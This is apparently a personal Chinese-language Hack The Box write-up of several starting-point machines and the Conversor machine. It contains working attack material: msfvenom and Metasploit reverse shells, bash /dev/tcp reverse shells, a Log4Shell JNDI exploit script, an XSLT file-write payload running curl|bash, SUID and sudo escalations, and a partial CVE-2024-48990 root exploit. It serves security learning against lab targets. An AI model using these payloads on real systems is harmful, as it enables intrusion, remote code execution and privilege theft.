Hackthebox


Hackthebox

vpn 连接,在这里要选择 tcp 我的 wsl 才能连接,不知道为什么

image

虚拟机需要权限才能连接

image

Meow

What does the acronym VM stand for?

VM 这个缩写代表什么?

virtual machine

What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It’s also known as a console or shell.

我们使用什么工具与操作系统交互,以便通过命令行发出命令,例如启动 VPN 连接的命令?它也被称为控制台或 shell。

terminal

What service do we use to form our VPN connection into HTB labs?

我们使用什么服务来建立与HTB实验室的VPN连接?

openvpn

What tool do we use to test our connection to the target with an ICMP echo request?

我们使用什么工具来测试与目标设备的 ICMP 回显请求连接?

ping

What is the name of the most common tool for finding open ports on a target?

查找目标系统上开放端口最常用的工具叫什么名字?

nmap

What service do we identify on port 23/tcp during our scans?

我们在扫描过程中在 23/tcp 端口上识别出什么服务?

telnet

image

What username is able to log into the target over telnet with a blank password?

哪个用户名可以使用空密码通过 telnet 登录到目标主机?

root

这里是根据提示猜出来的

Submit root flag

这里先登录进来

telnet -l root 10.129.253.211 23

image

image

fawn

What does the 3-letter acronym FTP stand for?

FTP 这三个字母的缩写代表什么?

File Transfer Protocol

Which port does the FTP service listen on usually?

FTP 服务通常监听哪个端口?

21

FTP sends data in the clear, without any encryption. What acronym is used for a later protocol designed to provide similar functionality to FTP but securely, as an extension of the SSH protocol?

FTP 以明文形式发送数据,不进行任何加密。后来出现了一种协议,旨在提供与 FTP 类似的功能,但更加安全,它是 SSH 协议的扩展,该协议的缩写是什么?

SFTP

What is the command we can use to send an ICMP echo request to test our connection to the target?

我们可以使用什么命令发送 ICMP 回显请求来测试与目标的连接?

ping

From your scans, what version is FTP running on the target?

根据扫描结果,目标主机上运行的是哪个版本的 FTP?

这里利用的是 nmap 的参数 -sV,这个参数会向开放的端口发送探测报文,然后解析响应,确定服务以获取精确版本号

nmap -sV 10.129.55.44

image

vsftpd 3.0.3

From your scans, what OS type is running on the target?

根据扫描结果,目标设备运行的是哪种操作系统?

这里利用的参数是 -A 可以同时进行操作系统和版本探测

nmap -A 10.129.55.44

image

Unix

What is the command we need to run in order to display the ‘ftp’ client help menu?

要显示 ftp 客户端的帮助菜单,我们需要运行什么命令?

ftp -?

image

What is username that is used over FTP when you want to log in without having an account?

当您想在没有帐户的情况下通过 FTP 登录时,使用的用户名是什么?

anonymous

What is the response code we get for the FTP message ‘Login successful’?

对于“登录成功”的 FTP 消息,我们得到的响应代码是什么?

使用匿名用户登录的参数是 -a

ftp -a 10.129.55.44 21

image

230

There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system.

我们可以使用几个命令来列出 FTP 服务器上可用的文件和目录。一个是 dir 命令。另一个是 Linux 系统上常用的文件列表命令是什么?

ls

What is the command used to download the file we found on the FTP server?

用来下载我们在 FTP 服务器上找到的文件的命令是什么?

get

Submit root flag

image

Dancing

What does the 3-letter acronym SMB stand for?

SMB 这三个字母的缩写代表什么?

Server Message Block

What port does SMB use to operate at?

SMB 协议使用哪个端口运行?

445

What is the service name for port 445 that came up in our Nmap scan?

我们在 Nmap 扫描中发现的 445 端口的服务名称是什么?

image

microsoft-ds

What is the ‘flag’ or ‘switch’ that we can use with the smbclient utility to ‘list’ the available shares on Dancing?

我们可以使用 smbclient 工具的哪个“标志”或“开关”来“列出”Dancing 上的可用共享?

-L

How many shares are there on Dancing?

在 Dancing 上有多少个共享

smbclient -L 10.129.180.218
  • -L:尝试列出目标主机上所有可用的共享

image

4

What is the name of the share we are able to access in the end with a blank password?

我们不用密码就能访问哪个共享文件夹?

因为只有这个共享是用户创建的,其他都是默认管理共享

WorkShares

What is the command we can use within the SMB shell to download the files we find?

在 SMB shell 中,我们可以使用什么命令来下载找到的文件?

get

Submit root flag

image

Redeemer

Which TCP port is open on the machine?

机器上哪个 TCP 端口是开放的?

nmap -p- -T4 10.129.181.213
  • -p-:全端口扫描,扫了好久
  • -T4:加速
  • -p <端口号范围>:可以用这个指定扫描的端口号范围

image

6379

Which service is running on the port that is open on the machine?

机器上打开的端口正在运行哪个服务?

redis

What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database

Redis 是什么类型的数据库?请从以下选项中选择:(i)内存数据库,(ii)传统数据库

In-memory Database

Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.

哪个命令行工具用于与 Redis 服务器交互?请输入您在终端中输入的程序名称(不带任何参数)

redis-cli

Which flag is used with the Redis command-line utility to specify the hostname?

在 Redis 命令行工具中,使用哪个标志来指定主机名?

-h

Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?

连接到 Redis 服务器后,使用哪个命令可以获取有关 Redis 服务器的信息和统计信息?

info

What is the version of the Redis server being used on the target machine?

目标机器上使用的 Redis 服务器版本是什么?

image

Which command is used to select the desired database in Redis?

在 Redis 中,使用哪个命令来选择所需的数据库?

select

How many keys are present inside the database with index 0?

数据库中索引为 0 的键有多少个?

这两个都能确定数量就是 4

image

Which command is used to obtain all the keys in a database?

哪个命令可以用来获取数据库中的所有键?

keys *

Submit root flag

image

Appointment

What does the acronym SQL stand for?

SQL 是什么的缩写?

Structured Query Language

What is one of the most common type of SQL vulnerabilities?

最常见的 SQL 漏洞类型之一是什么?

sql injection

What is the 2021 OWASP Top 10 classification for this vulnerability?

该漏洞在 2021 年 OWASP Top 10 中的分类是什么?

A03:2021-Injection

What does Nmap report as the service and version that are running on port 80 of the target?

Nmap 报告称,目标主机 80 端口上运行的服务和版本是什么?

Apache httpd 2.4.38 ((Debian))

image

What is the standard port used for the HTTPS protocol?

HTTPS 协议的标准端口是什么?

443

What is a folder called in web-application terminology?

在 Web 应用程序术语中,文件夹叫什么?

Directory

What is the HTTP response code is given for ‘Not Found’ errors?

对于“未找到”错误,HTTP 响应代码是什么?

404

Gobuster is one tool used to brute force directories on a webserver. What switch do we use with Gobuster to specify we’re looking to discover directories, and not subdomains?

Gobuster 是一款用于暴力破解 Web 服务器目录的工具。在使用 Gobuster 时,我们应该使用哪个参数来指定我们要查找的是目录而不是子域名?

dir

What single character can be used to comment out the rest of a line in MySQL?

在 MySQL 中,可以使用哪个单个字符来注释掉一行剩余的内容?

#

If user input is not handled carefully, it could be interpreted as a comment. Use a comment to login as admin without knowing the password. What is the first word on the webpage returned?

如果用户输入处理不当,它可能被解释为注释。请使用注释在不知道密码的情况下以 admin 身份登录。返回的网页上的第一个单词是什么?

这里可以 curl 到这个网页,用浏览器打开,这里我的本机不知道为什么连不上这个 vpn,只能用 wsl 做

firefox http://10.129.224.158:80

最简单的 sql 注入

image

Congratulations

Sequel

During our scan, which port do we find serving MySQL?

扫描过程中,我们发现哪个端口在运行 MySQL?

3306

image

What community-developed MySQL version is the target running?

目标系统运行的是哪个社区开发的 MySQL 版本?

nmap -sC 10.129.95.232
  • -sC:使用默认脚本来扫描,可能能识别更多信息

MariaDB

image

When using the MySQL command line client, what switch do we need to use in order to specify a login username?

使用 MySQL 命令行客户端时,我们需要使用哪个开关来指定登录用户名?

-u

Which username allows us to log into this MariaDB instance without providing a password?

哪个用户名允许我们在不提供密码的情况下登录此 MariaDB 实例?

root

In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?

在 SQL 中,我们可以使用哪个符号在查询中指定要显示表中的所有内容?

*

In SQL, what symbol do we need to end each query with?

在 SQL 中,每个查询语句的结尾需要使用什么符号?

;

There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that’s unique to this host?

此 MySQL 实例中有三个数据库是所有 MySQL 实例共有的。第四个数据库是此主机独有的,它的名称是什么?

mysql -h 10.129.95.232 -P 3306 -u root

这里连接上很明显就是 htb(

image

Submit root flag

image

Crocodile

What Nmap scanning switch employs the use of default scripts during a scan?

Nmap 扫描过程中,哪个扫描开关会使用默认脚本?

-sC

What service version is found to be running on port 21?

在端口 21 上运行的服务版本是什么?

vsFTPd 3.0.3

image

What FTP code is returned to us for the “Anonymous FTP login allowed” message?

对于“允许匿名 FTP 登录”消息,返回给我们的 FTP 代码是什么?

匿名登录成功就有这个代码

230

image

After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?

使用 FTP 客户端连接到 FTP 服务器后,当提示匿名登录时,我们应该提供什么用户名?

anonymous

After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?

匿名连接到 FTP 服务器后,我们可以使用什么命令下载在 FTP 服务器上找到的文件?

get

What is one of the higher-privilege sounding usernames in ‘allowed.userlist’ that we download from the FTP server?

从 FTP 服务器下载的“allowed.userlist”文件中,有哪些用户名听起来权限较高?

image

What version of Apache HTTP Server is running on the target host?

目标主机上运行的是哪个版本的 Apache HTTP 服务器?

Apache httpd 2.4.41

image

What switch can we use with Gobuster to specify we are looking for specific filetypes?

我们可以使用 Gobuster 的哪个开关来指定我们要查找的特定文件类型?

-x

Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service?

我们可以通过目录暴力破解找到哪个 PHP 文件,从而获得对 Web 服务的身份验证机会?

直接 dirsearch 开扫

image

Submit root flag

直接拿前面得到用户密码登录就能拿到 flag

Responder

When visiting the web service using the IP address, what is the domain that we are being redirected to?

使用 IP 地址访问网络服务时,我们会被重定向到哪个域名?

unika.htb

image

Which scripting language is being used on the server to generate webpages?

服务器端使用哪种脚本语言来生成网页?

这里遇到一个神秘的问题,我的 wsl 访问不到这个网址(

问 ai 要在 host 中修改,在这里添加一个 10.129.31.83 unika.htb 才能访问

sudo nano /etc/hosts

php

What is the name of the URL parameter which is used to load different language versions of the webpage?

用于加载网页不同语言版本的 URL 参数名称是什么?

image

这里就能看到了

page

Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “../../../../../../../../windows/system32/drivers/etc/hosts”, “minikatz.exe”

以下哪个 page 参数值会利用本地文件包含 (LFI) 漏洞?”french.html”, “//10.10.14.6/somefile”, “../../../../../../../../windows/system32/drivers/etc/hosts”, “minikatz.exe”

../../../../../../../../windows/system32/drivers/etc/hosts

Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “../../../../../../../../windows/system32/drivers/etc/hosts”, “minikatz.exe”

以下哪个 page 参数值会利用远程文件包含 (RFI) 漏洞?
“french.html”,
“//10.10.14.6/somefile”,
“../../../../../../../../windows/system32/drivers/etc/hosts”, “minikatz.exe”

//10.10.14.6/somefile

What does NTLM stand for?
NTLM 代表什么?

New Technology LAN Manager

Which flag do we use in the Responder utility to specify the network interface?

在 Responder 工具中,我们应该使用哪个标志来指定网络接口?

-I

There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.

有一些工具会接收 NetNTLMv2 质询/响应,并尝试数百万个密码,以查看是否有任何密码会生成相同的响应。其中一款工具通常被称为“john”,但它的全名是什么?

John the Ripper

What is the password for the administrator user?

管理员用户的密码是什么?

这题跨度好大,差评(

先用 responder 监听本地的网卡

sudo responder -I tun0

image

然后在这个网页远程加载我本地的文件

http://unika.htb/index.php?page=//10.10.16.28/somefile

image

然后这边工具就会读到 Administrator 的哈希了

  • 这里 ai 给的解释是,responder 伪装成了 smb 服务器,当接收远程包含文件时就会通过这个 smb 连接,利用这个连接向服务器发送 ntlm 质询获取 ntlm

image

把这个保存下来破解

badminton

image

We’ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?

我们将使用 Windows 服务(即在目标主机上运行的服务)通过我们找回的密码远程访问响应服务器。它监听的是哪个 TCP 端口?

这里运行的服务是 WS-Management​ 协议服务,用来远程管理和监控,开放了这个端口就证明了 winRM 服务在运行,远程用户就可以进行管理

5985

image

Submit root flag

拿找到的用户密码根据这个服务连接上目标机器

evil-winrm -i 10.129.193.57 -u Administrator -p badminton

image

最后在这里找到 flag

image

Three

How many TCP ports are open?

有多少个 TCP 端口处于开放状态?

2

image

What is the domain of the email address provided in the “Contact” section of the website?

网站“联系我们”部分提供的电子邮件地址的域名是什么?

thetoppers.htb

image

In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

在没有 DNS 服务器的情况下,我们可以使用哪个 Linux 文件将主机名解析为 IP 地址,以便能够访问指向这些主机名的网站?

前面有一题我就需要这样搞(

/etc/hosts

Which sub-domain is discovered during further enumeration?

在进一步枚举过程中发现了哪个子域?

这里可以使用 gobuster 工具来爆破

gobuster vhost -w wordlist/subdomainDicts/dic1.txt -u http://thetoppers.htb
  • vhost​:使用虚拟主机爆破模式,这里能爆破是利用了 host​ 请求头,如果服务器针对某一个 host 返回了不同的内容或状态码,那就认为发现了一个主机
  • -w:指定要用的字典

但是这里我跑不出来,很明确字典里是有这个域名的,后面感觉这题就是有问题,这里我后面访问的时候需要加到 /etc/hosts 中才能发访问,那这里我又没加,感觉扫不到就是这个问题

s3.thetoppers.htb

Which service is running on the discovered sub-domain?

已发现的子域上运行着哪项服务?

这里 curl 一下发现,丢给 ai

image

是一个亚马逊的云服务 Amazon S3

Which command line utility can be used to interact with the service running on the discovered sub-domain?

可以使用哪个命令行实用程序与在已发现的子域上运行的服务进行交互?

awscli

Which command is used to set up the AWS CLI installation?

用于设置 AWS CLI 安装的命令是什么?

aws configure

What is the command used by the above utility to list all of the S3 buckets?

上述工具用来列出所有 S3 存储桶的命令是什么?

aws s3 ls

This server is configured to run files written in what web scripting language?

此服务器配置为运行用哪种 Web 脚本语言编写的文件?

先配置,随便输入什么都行

aws configure

image

然后列出他的存储桶

aws s3 ls --endpoint-url http://s3.thetoppers.htb

image

最后查看文件

aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb

php

image

Submit root flag

这里需要上传一个 shell 来做

aws s3 cp ./shell.php s3://thetoppers.htb/shell.php --endpoint-url http://s3.thetoppers.htb

image

上传成功了,然后就可以直接执行命令了

image

Archetype

Which TCP port is hosting a database server?

数据库服务器运行在哪个 TCP 端口上?

1433

image

What is the name of the non-Administrative share available over SMB?

可通过 SMB 获取的非管理共享名称是什么?

还是先看共享

smbclient -L //10.129.217.136

backups

image

What is the password identified in the file on the SMB share?

SMB 共享文件中标识的密码是什么?

M3g4c0rp123

image

What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

Impacket 集合中的哪个脚本可以用来建立与 Microsoft SQL Server 的身份验证连接?

这里 Impacket 是一个 kali 中的工具库

mssqlclient.py

What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

Microsoft SQL Server 的哪个扩展存储过程可以用来启动 Windows 命令 shell?

这里在配置的时候一直有问题(

然后发现是路径问题,然后就拿前面的用户名密码登录就行

mssqlclient.py sql_svc:M3g4c0rp123@10.129.217.136 -windows-auth
  • -windows-auth:指定使用 windows 认证,不使用这个登不进去

这里的答案就是 xp_cmdshell

image

What script can be used in order to search possible paths to escalate privileges on Windows hosts?

可以使用什么脚本来搜索在 Windows 主机上提升权限的可能路径?

winpeas

What file contains the administrator’s password?

管理员密码位于哪个文件?

上面确实使用 xp_cmdshell 可以执行命令,但是难受,这里学着反弹 shell

先利用 msfvenom 创建一个恶意文件,这个工具是用来生成 payload 的独立命令行工具

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.28 lport=4444 -f exe -o shell.exe
  • -p:指定使用的 payload 种类

    windows/meterpreter/reverse_tcp​:
    windows​ 目标操作系统
    meterpreter​ 成功后要使用的交互式 shell 类型,后面成功打上去显示的就是这个
    reverse_tcp payload 的连接方式,让目标机主动连接回来到我的机器

  • lhost lport:指定攻击者的 ip 和端口

  • -f:指定输出格式,这里一开始没指定导致一直用不了(

  • -o:指出输出 payload 的文件名

image

然后在本地开一个服务

image

在远程下载

xp_cmdshell "powershell cd C:\Users\sql_svc\Downloads;wget http://10.10.16.28:8000/shell.exe -outfile shell.exe"

成功下载下来

image

然后启动 msfconsole 这个是 msf 的主命令行工具,这个应该我之后会写个笔记记录

命令

use exploit/multi/handler     # 选择加载模块,这个是建立了一个通用的监听器,用来接收反弹 shell 
set PAYLOAD windows/meterpreter/reverse_tcp  #告诉监听器要接受哪种类型的 payload 回连
set lhost 10.10.16.28		  # 设置本地 ip
set lport 4444				  # 设置端口
exploit						  # 启动监听器

image

这里上面提示要用 winpeas,那就上传一个上去

upload winPEASx86.exe C:\\Users\\sql_svc\\Downloads\\winPEASx86.exe

image

在这里输入 shell 就可以打开 cmd 了

image

然后运行这个 winpeas ,翻看结果的时候可以看到一个东西,有点像历史命令

image

这里就可以看到密码了,这题的答案也就是这个了

ConsoleHost_history.txt

image

Submit user flag

image

Submit root flag

前面不是拿到了管理员的账号密码,这里就要连接上去,要利用到 psexec 模块

  • psexec 是一个可以在其他远程系统上执行进程的软件,主要是利用 SMB 和 SCM(windows 的服务控制管理器) 来实现远程命令执行,要使用这个,必须要有管理员账户的凭证

    工作流程:

    1. 使用提供的用户名和密码通过 SMB 445 端口连接到目标
    2. 连接成功后,通过 ADMIN$ 共享将一个 payload 传到目标系统上
    3. 模块向 SCM 远程发送请求,远程创建并启动一个服务,这个服务的命令路径指向上传的 payload 文件
    4. 服务启动后就会以服务用户的权限运行
    5. payload 指向发现连接到攻击者的 IP
use exploit/windows/smb/psexec		# 加载 psexec 模块
set RHOSTS 10.129.217.136			# 配置目标 ip 地址
set SMBUser administrator			# 配置用户名
set SMBPass MEGACORP_4dm1n!!		# 配置密码
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 指定 payload 种类
set LHOST 10.10.16.28				# 设置本地 ip
set LPORT 6666						# 设置端口
exploit								# 尝试连接

image

这里可能要多跑几次,我第一次跑超时了,但是第二次就行了

image

image

Oopsie

With what kind of tool can intercept web traffic?

可以使用什么工具拦截网络流量?

proxy

What is the path to the directory on the webserver that returns a login page?

Web 服务器上返回登录页面的目录路径是什么?

/cdn-cgi/login

image

What can be modified in Firefox to get access to the upload page?

如何在 Firefox 中进行修改才能访问上传页面?

cookie

What is the access ID of the admin user?

管理员用户的访问 ID 是什么?

访问登录页面,这里有一个游客登录

image

可以发现有一个参数 id ,尝试修改一下

image

34322

image

On uploading a file, what directory does that file appear in on the server?

上传文件后,该文件出现在服务器上的哪个目录中?

提示要爆破目录,直接上 dirsearch,应该是这个(

image

What is the file that contains the password that is shared with the robert user?

与 robert 用户共享的包含密码的文件是什么?

这里应该是和文件上传有关的,捣鼓了半天怎么改 cookie(

image

传一个最简单的 shell 就可以用了

image

这里其实就是了

db.php

image

What executible is run with the option “-group bugtracker” to identify all files owned by the bugtracker group?

使用“-group bugtracker”选项运行哪个可执行文件,以识别 bugtracker 组拥有的所有文件?

find / -group bugtracker 2>/dev/null

find

image

Regardless of which user starts running the bugtracker executable, what’s user privileges will use to run?

无论哪个用户启动 bugtracker 可执行文件,运行该程序将使用什么用户权限?

image

root

What SUID stands for?

SUID 是什么的缩写?

Set owner User ID

What is the name of the executable being called in an insecure manner?

以不安全方式调用的可执行文件的名称是什么?

这里运行前面的那个程序,这里就可以看到命令

cat

image

渗透过程

这里有 ssh 端口开放,那就拿之前的密码直接开连

image

image

然后根据访问找到的 /usr/bin/bugtracker​ 我们可以知道这个是 root 权限的,利用这个来进行 suid 提权

这里的原理是利用这个程序可能调用 cat 命令没有使用绝对路径,我们修改环境变量,让这个程序找到我们的恶意的 cat 文件

  1. 创建恶意脚本

    这里也是一个 cat 文件,但是指向的是一个 bash 命令

    echo '/bin/sh' > /tmp/cat
  2. 赋予权限

    给这个脚本一个执行权限

    chmod +x /tmp/cat
  3. 劫持 PATH 环境变量

    /tmp​ 目录添加到当前 shell 的 PATH 的环境变量的最前面,告诉系统,当找可执行文件是,去 /tmp 目录下找

    export PATH=/tmp:$PATH
  4. 执行 suid 文件

    /usr/bin/bugtracker

这里注意在使用最后执行命令的时候不能用 cat ,因为 cat 已经被我们修改了(

image

Vaccine

Besides SSH and HTTP, what other service is hosted on this box?

除了 SSH 和 HTTP 之外,这台服务器上还托管了哪些其他服务?

ftp

image

This service can be configured to allow login with any password for specific username. What is that username?

此服务可以配置为允许使用任意密码登录特定用户名。请问该用户名是什么?

anonymous

What is the name of the file downloaded over this service?

通过此服务下载的文件的名称是什么?

backup.zip

image

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

John The Ripper 工具集中包含哪个脚本,能够从受密码保护的 zip 压缩包中生成哈希值,并且生成格式允许进行破解尝试?

zip2john

几乎是秒破(

image

What is the password for the admin user on the website?

网站管理员用户的密码是什么?

压缩包中有一个 index.php 打开能看到一个密码的 md5

image

找个网站爆一下

qwerty789

image

What option can be passed to sqlmap to try to get command execution via the sql injection?

可以通过传递什么选项给 sqlmap 来尝试通过 SQL 注入获取命令执行权限?

--os-shell

这里登录进去有个搜索的位置可以进行 sql 注入,在这里手注有点麻烦(,上 sqlmap 了,这里的报错丢给 ai ,这好像是一个 PostgreSQL

image

而且好像我还真没学过怎么获取 sql 的命令权限orz

使用 sqlmap 拿到权限了

sqlmap -u "http://10.129.190.192/dashboard.php?search=?id=-1" -p search --dbms=postgres --batch --cookie="PHPSESSID=ld2fq6h3ense9597h4kktfdi6t" --os-shell

image

What program can the postgres user run as root using sudo?

postgres 用户可以使用 sudo 以 root 用户身份运行什么程序?

这里要运行这个需要 ssh 连接上登陆,这里用 sqlmap 的不太行,而且用着很难受

而且这里有个很神秘的问题,就是我读不到这个文件,明明其他文件都能读到的

image

这里用这个命令反弹 shell 出来,另一个反弹不了,这个才行

/bin/bash -c "bash -i >& /dev/tcp/10.10.16.28/4444 0>&1"

image

image

然后成功在这个文件中读到这个用户的密码

image

上去之后就可以看到用那些命令可以用

vi

image

flag

这里我们在上面可以看到用 sudo 的 vi 可以操作这个文件

这里有一个提权的方法,先用这个命令进到 vi 可以修改文件的地方

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

然后要确保不在编辑模式,输入命令

:!/bin/bash

image

然后就进到 root 的 shell 当中

image

image

Unified

Which are the first four open ports?

最先开放的四个端口是哪四个?

22,6789,8080,8443

image

What is the title of the software that is running running on port 8443?

运行在 8443 端口上的软件名称是什么?

unifi network

image

What is the version of the software that is running?

当前运行的软件版本是什么?

6.4.54

image

What is the CVE for the identified vulnerability?

已识别漏洞的 CVE 编号是多少?

直接开搜

CVE-2021-44228

image

这里就是要利用这个漏洞来渗透,利用的是 log4j2 漏洞

准备工具

sudo apt-get install openjdk-11-jdk -y
sudo apt-get install maven -y
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package

这里捣鼓了半天,我只有 wsl 是能连上 vpn 的,所以用不了抓包工具,最后没办法只能用 python 实现了

一开始使用这个代码尝试,在 remember 里有漏洞

import requests 
import json 

url = 'https://10.129.63.30:8443/api/login'

payload = {
    "username":"1",
    "password":"1",
    "remember":"${jndi:ldap://10.10.16.29/o=tomcat}",
    "strict":True
}

try:
    print("发送请求")
    response = requests.post(
        url,
        json=payload,
        verify=False
    )
    print(response.status_code)
    for key,value in response.headers.items():
        print(key + ":" + value)

    print(response.text)

except requests.exceptions.RequestException as e:
    print(e)

利用前面那个工具,先将反弹 shell 命令加密一下

echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.16.29/4444 0>&1'" | base64

然后使用工具,然后将脚本中的 remember 参数改成这里的 ldap://10.10.16.29:1389/o=tomcat

java -jar RogueJndi-1.1.jar --command "bash -c {echo,L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNi4yOS80NDQ0IDA+JjEnCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.16.29"

image

发送请求

image

监听的地方成功反弹 shell

image

What protocol does JNDI leverage in the injection?

JNDI 在注入过程中使用什么协议?

ldap

What tool do we use to intercept the traffic, indicating the attack was successful?

我们使用什么工具来拦截流量,从而判断攻击是否成功?

TcpDump

What port do we need to inspect intercepted traffic for?

我们需要检查截获的流量来自哪个端口?

这里提示是 ldap 的默认端口,搜一下就是

389

What port is the MongoDB service running on?

MongoDB 服务运行在哪个端口上?

读配置文件可以读到

27117

image

What is the default database name for UniFi applications?

UniFi 应用程序的默认数据库名称是什么?

我一开始以为在外面就可以连接了(

结果是在靶机内连接就行

mongo --host 127.0.0.1 --port 27117

image

What is the function we use to enumerate users within the database in MongoDB?

在 MongoDB 中,我们使用什么函数来枚举数据库中的用户?

很神秘,一开始以为之间是 users,没想到是 admin(

db.admin.find()

What is the function we use to update users within the database in MongoDB?

在 MongoDB 数据库中,我们使用什么函数来更新数据库中的用户?

db.admin.update()

What is the password for the root user?

root 用户的密码是什么?

想爆破了(,结果提示就是无法爆破

根据上面的提示,这里应该是想让我们修改这个哈希值,这个哈希是 sha512

mkpasswd -m sha-512 admin123

image

然后修改这个,这里可以看到修改成功了,然后返回网站用这个密码登录

db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$DGdDVl6k/c8MxNrm$7YHwUEXGB68WF08l5xhaRdMDp4DaZof5qGnA2uE9x07QDHko2dms18MewS6HccSLWwmVjx8QdoGapDb7W/YPo."}})

image

最后在网站是设置中可以看到这个密码

NotACrackablePassword4U2022

image

flag

image

Conversor

nmap -sV 10.10.11.92

image

发现 80 端口,这里跳转了域名,要改一下 hosts

sudo nano /etc/hosts
# 10.10.11.92     conversor.htb

image

先扫一下路由,扫到一个 /about ,访问一下试试

image

好像不用登录就能访问进来了,下载源码

image

这里感觉漏洞点在一个 xslt 上传的地方,但是利用网上的 payload 都没什么用

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}" 

这里没看出来怎么打,看的 HTB Conversor靶机实战记录:从XSLT沙箱逃逸到Root权限_xslt 攻击-CSDN博客 学习

在这个代码中可以看到没有禁用 EXSLT 扩展,这里确实没见过(

EXSLT​ 是 xslt 的拓展标准,提供一些实用的函数

这里有一个 shell​ 模块,他的 document 函数可以实现任意文件写入

同时在 install.md 中有一个定时任务,就是不断执行 scripts 文件夹下的 py 脚本

www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

payload

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">
	<!-- 用来匹配所有根节点,这样所有根节点都能触发 -->
    <xsl:template match="/">
		<!-- 这里是将文件写入这个位置 -->
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.17.88:8888/shell.sh|bash")
        </shell:document>
    </xsl:template>
</xsl:stylesheet>

成功了

image

进来之后可以先看看之前下载源码时就看到的一个 db 文件,下载下来的打不开,确认是 SQLite 3

image

那直接打开

sqlite3 users.db

# 查看所有数据表
.tables 
# 读取数据
SELECT * FROM users;

image

这里尝试了一下,只有第一个用户存在,爆破哈希

image

那就用这个用户 ssh 直接连接上去了

image

这里找到了第一个 flag ,并且看到有一个文件无需密码就能用

image

可以看到这个文件的版本 3.7

image

发现 CVE-2024-48990 刚好就是干这个的,那就直接用

image

这里在网上找到的几个 payload 都需要 gcc 编译,但这个靶机上又没有(,所以最后直接用了博客中的 sh 脚本

#!/bin/bash
 
echo "[+] 启动exploit..."
 
# 创建必要的目录结构
mkdir -p /home/fismathack/exploit/importlib
 
# 创建恶意模块
cat > /home/fismathack/exploit/importlib/__init__.py << 'END'
import os
import subprocess
import sys
 
# 禁用输出缓冲
sys.stderr = sys.stdout
 
def root_exploit():
    if os.geteuid() == 0:
        
        shell_path = "/home/fismathack/root_shell"
        
        # 复制bash并重命名
        subprocess.run(["/bin/cp", "/bin/bash", shell_path], capture_output=True)
        
        # 设置SUID
        subprocess.run(["/bin/chmod", "4755", shell_path], capture_output=True)
        os.chmod(shell_path, 0o4755)
        
        # 创建成功标志
        open("/home/fismathack/exploit_success", "w").close()
 
root_exploit()
END
 
# 监控脚本
cat > /home/fismathack/exploit/nuii.py << 'END'
import time
import os
import subprocess
import sys
 
# 禁用Python输出缓冲
sys.stdout = sys.stderr
print("[+] 启动提权监控...", flush=True)
 
def start_suid_shell():
    shell_path = "/home/fismathack/root_shell"
    if os.path.exists(shell_path) and os.stat(shell_path).st_mode & 0o4000:
        print(f"[+] 找到SUID shell: {shell_path}", flush=True)
        
        # 检查文件权限
        import stat
        file_mode = os.stat(shell_path).st_mode
        print(f"[+] 文件权限: {oct(file_mode)}", flush=True)
        
        print("[+] SUID shell工作正常,启动交互式shell...", flush=True)
        
        # 设置环境
        env = os.environ.copy()
        env['PS1'] = 'nuii# '
        env['TERM'] = 'xterm'
        
        # 启动完整的交互式shell
        os.execl(shell_path, "root_shell", "-p")
        return True
    return False
 
